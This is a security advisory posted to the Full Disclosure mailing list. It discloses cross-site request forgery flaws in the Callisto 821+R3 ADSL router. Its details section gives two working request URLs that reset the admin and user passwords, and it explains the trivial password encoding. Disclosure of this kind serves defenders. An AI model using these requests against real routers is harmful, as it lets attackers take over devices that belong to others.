Hello list!
After all my advisories about vulnerabilities in Callisto 821+
(http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about
Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my
letters and subsequent my public disclosure of vulnerabilities and new
devices are vulnerable as well, so I disclosed vulnerabilities in Callisto
821+R3 ADSL Router.
These are Cross-Site Request Forgery vulnerabilities. The whole control
panel is vulnerable to CSRF, here are two vulnerabilities.
SecurityVulns ID: 11700.
-------------------------
Affected products:
-------------------------
Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL
831IIV7.5.1a_E09_UA. This model with other firmware and also other models of
Callisto also must be vulnerable.
----------
Details:
----------
Cross-Site Request Forgery (WASC-09):
For changing login and password of admin:
http://site/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=E696D64616
For changing login and password of user:
http://site/userpasswd.cgi?action=save&usrUserName=user&usrPassword=27563757
Parameters sysPassword and usrPassword contain encrypted password. The
cipher is simple - this is hex values of chars in reverse order.
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/7975/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
